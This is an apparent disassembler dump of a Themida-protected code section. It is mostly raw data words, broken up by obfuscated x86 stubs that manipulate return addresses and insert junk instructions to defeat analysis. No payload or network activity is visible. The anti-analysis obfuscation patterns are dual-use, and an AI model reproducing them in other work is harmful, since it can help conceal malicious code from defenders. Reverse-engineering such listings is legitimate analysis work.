dd 59C35920h, 4244C89h, 4244481h, 19h, 0E5C35141h, 92F890F7h
dd 0B8D381B2h, 0F80DF096h, 1009BD83h, 0F03060Bh, 3B886h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 90490A8Dh, 85B5179Ah, 0E8DE8BA8h, 14h, 3DFC382Dh
dd 94ED015Dh, 0D729D728h, 972A530h, 35D49FB7h, 119D33h
dd 605F060Bh, 27698589h, 8D09060Bh, 60B0339h, 31D98C66h
dd 0B2D8D8Dh, 4E18006h, 0F9F78166h, 0FC90A2Ch, 17384h
dd 0D1BD8B00h, 8B060B02h, 0B317D85h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 66A41463h
dd 8ABBC381h, 6ED8533h, 8E0F060Bh, 0Ch, 7E9h, 45F78000h
dd 93B99289h, 58B0Fh, 81660000h, 90978FEFh, 0C18B6660h
dd 5061F98Ah, 178A0Fh, 12E90000h, 0A3000000h, 91AD9490h
dd 82AA2345h, 0AF0A4342h, 0F0194F0Bh, 6A9060h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0F1B54C3h, 8B66DEB7h, 80006AF9h, 0B70F12E3h, 0DB8C68D8h
dd 820F25DEh, 3, 81F88B66h, 0D8732434h, 6A25C1h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0C5F700C3h, 0AB57F87Bh, 6BBFBF91h, 9D8B5B5Ah, 60B1FD5h
dd 3D195FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 59A3D4C3h, 2B01BB45h, 0B0B31BDh
dd 1D858906h, 6A060EA8h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 39F3C351h, 0DDF77A1h
dd 152CA0FCh, 20398D89h, 9FE9060Bh, 6A000001h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 0C3D0C350h, 0BC8DBC41h, 9D8BA859h, 60B2DE9h, 0A815858Bh
dd 7E9060Eh, 0C2000000h, 67911F71h, 0C77055h, 18h, 322D9589h
dd 9D89060Bh, 60B2801h, 0A819B58Bh, 0F88B060Eh, 486CBF66h
dd 6E1858Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 0CE971C3h, 0E5000000h, 9E9DC027h
dd 0BA4ABC48h, 8924BF6Ch, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 858BF1D6h
dd 60B317Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 33C35242h, 4C1BD33h, 4689060Bh, 880F04h, 50000000h
dd 4880Fh, 0BB660000h, 34898CFEh, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0B5FFF9D5h
dd 60EA815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 57C35545h, 68DAB70Fh, 0BB167ABh, 123757BBh, 2434817Fh
dd 0BAE6454h, 0BD5BD8Bh, 858D060Bh, 60EA81Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F9C35747h, 96BB9436h
dd 8589A5C9h, 60B02DDh, 0E7EECBFh, 8E9502Ah, 0A1000000h
dd 2634EC9h, 896111B3h, 9D8B2404h, 60B31E1h, 0DCDB589h
dd 95FF060Bh, 60B03D1h, 228DBD8Bh, 6A61060Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0C7B1C357h, 0B100985h, 306h, 0D98B6600h, 0A81DBD83h
dd 0F00060Eh, 2C84h, 42E900h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A99299C3h
dd 9C5013D5h, 0B74A4E7Eh, 0C3050CCh, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 14FD9D8Bh, 0BD0B060Bh, 60B1255h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C5C35646h
dd 0E1BFCF83h, 9860F9A6h, 6870F5Fh, 8B000000h, 0B2A49BDh
dd 9BD8306h, 3060B10h, 3AF850Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6190B6C3h
dd 43F29EC7h, 1DBD83F5h, 60EA8h, 37F840Fh, 0F3810000h
dd 10F1EE30h, 0A81DB5FFh, 8B60060Eh, 0B05A585h, 75858B06h
dd 61060B33h, 83D95FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0EA97F2C3h, 0BB66A605h
dd 0B58BF226h, 60EA811h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 66C35242h, 2B9BD8Bh, 6C7060Bh, 10001h
dd 96FE8B66h, 0BE95250h, 3000000h, 8CFC99A1h, 0AC2EBC8Ch
dd 310F803Ah, 585AF98Bh, 0BE950h, 11900000h, 577A7C80h
dd 3AFA08BDh, 6A96CEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0A9F6FEC3h, 8C0F1F11h, 6, 7CD9D89h
dd 0BD89060Bh, 60B32B9h, 0A81DB5FFh, 0BD8B060Eh, 60B1265h
dd 64195FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 9FAD22C3h, 9D8BE30Ah, 60B0B51h
dd 14E59D89h, 0B58B060Bh, 60EA811h, 46EB8166h, 1D858B6Fh
dd 8B060B12h, 0B2DFDBDh, 0C4868906h, 0BB000000h, 6B47C921h
dd 174D958Bh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 8A5211C3h, 7B0FA517h, 0DA8BF98Bh
dd 3104C283h, 0B18359Dh, 0ED9D8906h, 89060B02h, 6A2050h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 54333C3h, 7C795DE5h, 0F51EFBDh, 584h, 0E6AEBB00h, 0F5F5840h
dd 686h, 0DBD0900h, 8D060B19h, 0EBAEE85h, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0C555AA2Ch, 89FB8B66h, 0B886h, 0DF816600h, 6ABA5Bh
dd 0A81DB5FFh, 5356060Eh, 830Fh, 5B5B0000h, 0F1595FFh
dd 9D89060Bh, 60B0B75h, 15BB6696h, 0BB665087h, 6A96ECDAh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 6C4BC357h, 57EB9E7Eh, 0AD161544h, 0D318D89h
dd 0B5FF060Bh, 60EA81Dh, 741BD89h, 95FF060Bh, 60B00F5h
dd 860Fh, 0BD830000h, 60B2191h, 5A840F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 96BAC352h, 0DA8B5760h, 5B50515Ah, 8B50615Eh, 6A96FAh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0B56EAFC3h, 0C5458B06h, 68C0F81h, 1000000h, 0B190D85h
dd 1DB5FF06h, 66060EA8h, 95FFDF8Bh, 60B1281h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0ABC35141h
dd 0D13F381h, 840F2983h, 6, 2781BD29h, 0B5FF060Bh, 60EA81Dh
dd 8D95FFF8h, 6A060B0Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 41F3C350h, 63AA4ACCh
dd 1FB5BD8Bh, 0BD83060Bh, 60B17F1h, 37840F02h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 5EF4C353h, 0DB9416EAh, 0C5858B62h, 8B060B2Eh
dd 0B18E9BDh, 0C606h, 8BCF8B60h, 85C761C6h, 60B06B9h, 0
dd 0A4EABF56h, 35B5BEBh, 0B2F299Dh, 0F42CE906h, 6AFFFFh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0B4F1C3h, 0F5A2ACB6h, 8166C18Bh, 8DE407EFh, 0B28A985h
dd 0F5BD8906h, 8B060B20h, 0B03BDBDh, 76BF9006h, 501D67CAh
dd 46B75250h, 585A310Fh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 7B3FE764h, 87878F4Ah
dd 9D8B93CFh, 60B2AA1h, 0E9DBD89h, 0E953060Bh, 7, 0EC72C644h
dd 5B65EE01h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0E7F684C3h, 6A5A2D11h, 6AFE8BFBh
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 0F19DC549h, 0A40B5632h, 820F46E4h, 0Fh
dd 0AE9h, 571BB500h, 4A4F6674h, 890C142Bh, 0B0BAD95h, 0B1B58906h
dd 8D060B15h, 0FCEFD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 5DDAE9E6h, 13C380C8h
dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 2479C350h, 0DE2BEB81h, 0B3906AAAh
dd 8A6050FBh, 0FE8B66F1h, 8C0F9061h, 0
; ---------------------------------------------------------------------------
push 0
and di, 68E7h
push 0
push 0
push eax
call sub_588E88
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588E88 proc near ; CODE XREF: Themida_:00588E80p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_588E88 endp
; ---------------------------------------------------------------------------
xor [ebx], al
pop ebx
jb short loc_588ECC
sal byte ptr [esi+27h], cl
xor edi, [ebp+60B0175h]
call dword ptr [ebp+60B2F21h]
push 0
push esi
call sub_588EB7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588EB7 proc near ; CODE XREF: Themida_:00588EAFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_588EB7 endp
; ---------------------------------------------------------------------------
pop ebp
db 2Eh
jecxz short loc_588F1B
dec esp
loc_588ECC: ; CODE XREF: Themida_:00588E9Bj
sbb [edi], eax
call sub_588EE3
xchg eax, esp
outsb
mov esi, es
or dh, ah
cmp bh, [eax]
xor esi, ecx
dec eax
cmp [eax-49h], ebx
movsb
nop
; =============== S U B R O U T I N E =======================================
sub_588EE3 proc near ; CODE XREF: Themida_:00588ECEp
movsx ebx, di
pop edi
lea ecx, [ebp+60EA7B0h]
push 0
push ebx
call sub_588EF8
and [ebx-3Dh], bl
sub_588EE3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_588EF8 proc near ; CODE XREF: sub_588EE3+Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_588EF8 endp
; ---------------------------------------------------------------------------
dd 0A00E6D7Ah, 83D1FF4Eh, 0B0B19BDh, 850F0106h
db 85h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_588F1B: ; CODE XREF: Themida_:00588EC8j
add [ebx+6A026AF6h], dh
add [ecx-18h], dl
add eax, [eax]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
and [ecx-3Dh], bl
pop ecx
mov [esp+4], ecx
add dword ptr [esp+4], 19h
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
retn 8170h
; ---------------------------------------------------------------------------
aam 47h
lodsd
movsx edi, dx
mov ebx, [ebp+60B010Dh]
nop
mov edi, 7EEC046Ch
push eax
mov edi, 1C32736Fh
nop
push 0
push ebx
call sub_588F62
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588F62 proc near ; CODE XREF: Themida_:00588F5Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_588F62 endp
; ---------------------------------------------------------------------------
lods byte ptr ss:[esi]
mov edi, [ebp+60B0F3Dh]
call dword ptr [ebp+60B0F15h]
push 0
push eax
call sub_588F8B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588F8B proc near ; CODE XREF: Themida_:00588F83p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_588F8B endp
; ---------------------------------------------------------------------------
db 78h
dd 90EA084Dh, 10B4E9B5h, 0E80000h, 5D000000h, 0CF07ED81h
dd 0CE8060Fh, 0B0000000h, 6DE89007h, 5A8C8284h, 13AF073h
dd 0B202DB5h, 6A5B06h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 4B4A6FC3h, 3B4BF441h, 1DDF81AEh
dd 8D2D5923h, 0E929385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 5FC523EEh, 7159A77Dh
dd 800FA9C4h, 5, 0ABD38166h, 0B9B58903h, 50060B02h, 52505356h
dd 585A310Fh, 4895B5Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 81664E2Dh, 0F3972CBh
dd 0C8Dh, 6880F00h, 8B000000h, 0B0331BDh, 0EBD38106h, 643A0927h
dd 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 647D8AC3h, 896496CFh, 25h, 185EBB00h
dd 85FF090Eh, 60B066Dh, 0B1D9D23h, 8B66060Bh, 6AFF6ADFh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 6F6AC351h, 711C1213h, 0E9769851h, 9, 0EBE7604Eh
dd 0C675612Eh, 55B5FF81h, 6A060B23h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 84ADC352h
dd 6ECCA542h, 66605394h, 46D8F181h, 61D6BF0Fh, 0C61BD8Bh
dd 95FF060Bh, 60B2411h, 12CE9h, 89B50100h, 0B0060B33h
dd 9D896000h, 60B0209h, 0E970E661h, 5, 116C9481h, 3371E464h
dd 0B0CA1BDh, 0F613C06h, 10083h, 0BE900h, 78CF0000h, 0B6243649h
dd 0F89CCA58h, 0C8B60F7Eh, 2AABF66h, 6BAh, 0CE900h, 0C35D0000h
dd 303C2F7Ch, 0C01A6810h, 0C18BC956h, 14E9h, 718B7200h
dd 3FF26266h, 38A766DCh, 3B931896h, 0A4D37B16h, 919589ACh
dd 0C1060B01h, 0F76604E8h, 0E9B589E2h, 2B060B22h, 199D23C8h
dd 8B060B0Dh, 14E9D1h, 25B70000h, 0FE07DEBDh, 6A7AF155h
dd 8357009Bh, 410219A1h, 7EE988CDh, 66000000h, 8B7066BFh
dd 485h, 7C08300h, 0CE9h, 0FF0CE00h, 0B72DDC1Ch, 785AEBE3h
dd 25BD0BAAh, 83060B00h, 0BD8B00C0h, 60B246Dh, 830FD03Bh
dd 14h, 2FDBD8Bh, 3EE9060Bh, 81000000h, 0D1CF04DFh, 46EF802Eh
dd 0FFFF8D8Bh, 8166FFFFh, 83C6AFC3h, 840F01E1h, 21h, 13519D8Bh
dd 0A583060Bh, 0FFFFFFFFh, 0ED9D8BFEh, 89060B2Eh, 495h
dd 0FAB70F00h, 0E9h, 0B1B58D00h, 89060F4Fh, 0B1E95B5h
dd 6A006A06h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0C6DCC350h, 0DD95FFF5h, 6A060B32h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 813FC350h, 3A3AE3E3h, 4A52BB0Bh, 0ABB942FDh
dd 5600000Fh, 5FFE8B66h, 88C0Fh, 9500000h, 0B2AD18Dh, 0E1835F06h
dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 0A2491C4Ah, 0ED8D2953h, 0FC060B00h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3BC35545h, 9BDEE982h
dd 4616BC14h, 0DE93Dh, 61600000h, 0CD9B637h, 4753AB89h
dd 0B840B1A2h, 0
; ---------------------------------------------------------------------------
mov edi, [ebp+60B28D9h]
mov ebx, ecx
mov edx, 0
jmp loc_589357
; ---------------------------------------------------------------------------
dw 55BEh
dd 0C0392031h, 592E337Fh, 5C4A969Ah
db 0D1h, 0Fh, 0F7h
; ---------------------------------------------------------------------------
loc_589357: ; CODE XREF: Themida_:00589341j
; Themida_:00589361j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_589357
push 0
push eax
call sub_58936E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58936E proc near ; CODE XREF: Themida_:00589366p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_58936E endp
; ---------------------------------------------------------------------------
rcr cl, 1
mov ebx, [ebp+60B0801h]
mov ebx, [ebp+60B1A85h]
or eax, 88h
push 0
push eax
call sub_58939C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58939C proc near ; CODE XREF: Themida_:00589394p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_58939C endp
; ---------------------------------------------------------------------------
mov dword ptr [ebp-76A8E44Bh], 0B1035BDh
push es
mov edx, [ebp+60B174Dh]
mov edi, [ebp+60B18C5h]
mov ecx, [ebp+60B0119h]
push 0
push eax
call sub_5893D4
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5893D4 proc near ; CODE XREF: Themida_:005893CCp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5893D4 endp
; ---------------------------------------------------------------------------
dd 50426D66h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0A9C0B323h, 759D8BCBh, 6A060B02h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 5980C356h, 83FB8BB4h, 0B29BDBDh, 840F0006h, 94h, 0B8F88Bh
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0A16FC353h, 8D61B3CDh, 0B4DD78Dh
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 0BE99C3E8h, 0E0C22B18h, 68B0FDAh, 8B000000h
dd 0B32E59Dh, 0D59D8B06h, 0F060B08h, 682h, 0E59D8900h
dd 0FF060B21h, 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 9D89D6DDh, 60B04A1h, 1009BD83h
dd 0F00060Bh, 56284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 941C479Dh, 0BD8302D9h
dd 60B1009h, 4F840F01h, 6A000005h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0DA4DC355h
dd 0F88B66B9h, 1009BD83h, 0F03060Bh, 4EB86h, 0F4DB8000h
dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 32CD1320h, 66F98B66h, 0DC8AD98Ch, 6A04E180h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 7FA9C357h, 60A4F9A2h, 958D2Bh, 0EE8060Bh
dd 9E000000h, 612C8C9Ch, 5A6CE7CBh, 16014453h, 0CFB70FF1h
dd 9D896158h, 60B035Dh, 840FC90Ah, 17Ah, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 15h, 11C35141h, 7D858B79h
dd 6A060B31h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 193C351h, 33DE8B4Bh, 0B06ED85h
dd 12E85006h, 0A6000000h, 8A1B826Dh, 97FE3946h, 4E124506h
dd 0D6779F6h, 118D3114h, 5F060B01h, 0B656BF5Fh, 0E9906F9Eh
dd 7, 5DFB828Dh, 500FEFBFh, 52506051h, 585A310Fh, 0D6C9B966h
dd 6A905F61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0E83FC353h, 7, 5ECBF296h, 0BF5BDAB7h
dd 41000BD9h, 6A006A5Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 51DBC350h, 0C840Fh
dd 870F0000h, 6, 810Fh, 6E90000h, 0BE000000h, 53547760h
dd 0BE0E68DEh, 8E994C9h, 0EB000000h, 1E12F53Ah, 819A7A81h
dd 45F12404h, 6A6B55h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 61D005C3h, 260D3987h, 0DE8F7AFh
dd 0FA000000h, 8074699Ah, 370F11B9h, 0B8CA0C84h, 0D3B96660h
dd 39958B16h, 61060B24h, 0D195FF5Bh, 89060B03h, 0B001195h
dd 1D858906h, 8B060EA8h, 0B04C19Dh, 294E906h, 95890000h
dd 60B0871h, 8E0Fh, 858B0000h, 60EA815h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 14h, 1AC35343h, 6860Fh
dd 8D290000h, 60B0B69h, 8E9h, 164AF000h, 85473C34h, 1800C722h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 2136C350h, 8BE5AF44h, 0EA819B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 3893A797h, 959589F8h, 8B060B02h, 0B06E185h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 0FBE77058h, 91C78100h, 0F8215C9Ch, 6A0689h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 1D96A7C3h, 0D5191AB3h, 8D09B4C3h, 60B1A6Dh, 8E2ABB66h
dd 317D858Bh, 0BD8B060Bh, 60B0419h, 0F044689h, 118Fh, 5E800h
dd 0DE200000h, 338CD68Ch, 0B1B61BDh, 60505F06h, 0F08BF78Bh
dd 24348961h, 11820Fh, 0CE90000h, 29000000h, 9EC23187h
dd 0BAC4EC87h, 0FFBADE26h, 0EA815B5h, 55006A06h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0FADB8C59h, 0FDB8600Bh, 81610A90h, 816BF8D3h, 0B960614Ah
dd 118E8D9h, 6B58D8Bh, 0E861060Bh, 4, 1F03FFh, 0FE953h
dd 0AB5B0000h, 0FDD4875h, 7402AAA3h, 404DA063h, 8B505F71h
dd 24448BFBh, 1D800F04h, 50000000h, 0EE852h, 72CC0000h
dd 6C62104Ah, 5ECC7547h, 0A3EC5472h, 66310F5Bh, 585ADF8Bh
dd 5F52008Bh, 4244489h, 0FE8h, 34A9B300h, 0D0A4F7A9h, 2F507CB6h
dd 0CE58EA80h, 310F5250h, 585AFE8Ah, 8D89585Fh, 60B16A5h
dd 0A81D858Dh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0D3E49FC3h, 57077DFFh, 66E20280h
dd 50AAF4BBh, 9D567BBh, 24048956h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 0D3C35141h, 0E98EBADCh, 0Ch
dd 0A244A0Eh, 95A6D57Ah, 61A9A6D1h, 1A8D9D89h, 95FF060Bh
dd 60B03D1h, 10E8h, 5FE63600h, 51BB75D4h, 2C64BC22h, 843AB859h
dd 13E961h, 1AAC0000h, 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh
dd 0AC9ACFB8h, 6A615B86h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 22C4C353h, 60C380F1h
dd 100985C7h, 3060Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0A561BEC3h, 0F88B0D69h
dd 0A81DBD83h, 0F00060Eh, 1384h, 0BD8B5100h, 60B2815h
dd 21E95Bh, 0F3810000h, 137B41A6h, 110C3050h, 1114400h
dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 1A12C356h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 41C35141h, 6B45F06h, 97C38114h, 83042FF6h, 0B1009BDh
dd 850F0306h, 504h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0A5C35141h, 6DBB6629h, 5D9D093Bh, 83060B1Fh
dd 0EA81DBDh, 840F0006h, 4D0h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 71C35545h, 8D296078h, 60B1659h
dd 1DB5FF61h, 6A060EA8h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 0B0B9C357h, 0EC0E61B9h
dd 0C781E67Dh, 75483139h, 3EB5F960h, 3D95FF61h, 8B060B08h
dd 0B0881BDh, 11B58B06h, 6A060EA8h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 93D4C356h
dd 0B70F9177h, 3A294055h, 62DBD89h, 8166060Bh, 0C76239EFh
dd 1000106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 53CF24D5h, 0EFEF8166h, 81665B8Eh
dd 509F80E7h, 800F5250h, 13h, 0EE9h
dd 0E86F3900h, 3ADC5312h, 215D1D50h, 0F503D21h, 10E831h
dd 22B40000h, 3D4ED41h, 58AB009Fh, 0C49033A9h, 8B66D19Eh
dd 585A5FFEh, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 98A9C356h, 623A265Eh
dd 0BD0BB47Eh, 60B059Dh, 0E4A6BFh, 1DB5FF2Ah, 6A060EA8h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0FF92C356h, 0B064195h, 0CE806h, 0E1590000h
dd 24B9CDF8h, 0DAA768F3h, 0BD31042Bh, 60B1341h, 11B58B5Bh
dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 1117C355h, 3F4A8BFDh, 0FC2118A4h
dd 121D858Bh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 31AB96C3h, 0B2D8185h, 0C4868906h
dd 66000000h, 8B8571BFh, 0B174D95h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0B79C172Bh
dd 0CC421558h, 50BBED3Dh, 0E97F016Eh, 9, 0F88F75F0h, 0C9FE13FBh
dd 4C2835Dh, 0A224CBBh, 20508958h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0D4C35343h, 0BBE1A13Bh, 233123FDh
dd 0BAEE858Dh, 9D2B060Eh, 60B1AC5h, 29A59589h, 8689060Bh
dd 0B8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0EAC35141h, 28D0Fh, 0F98A0000h, 0EE9006Ah, 1F000000h
dd 0ADFD2BD9h, 17660C60h, 0F46404F1h, 1DB5FFECh, 81060EA8h
dd 0C6C2B3C7h, 1595FF54h, 6A060B0Fh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B816C353h
dd 0E8D833D1h, 14h, 3E8620B8h, 455FDD98h, 37136261h, 0DF7B52A8h
dd 748646E1h, 1A41BD0Bh, 965F060Bh, 7E8h, 0E98EB600h, 120BB4F2h
dd 5BDF8B66h, 0AE850h, 8FA00000h, 0ED6E177Dh, 47E12E6Bh
dd 5FFB8B53h, 6A965Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 0B5FFA5C3h, 60EA81Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A1C35747h, 4647A7CBh
dd 801D651Ch, 95FFF888h, 60B00F5h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 9DC35040h, 0E3812FE0h, 5E3A271Fh
dd 148D0Fh, 0FE90000h, 26000000h, 3F5E839Eh, 0E9A13368h
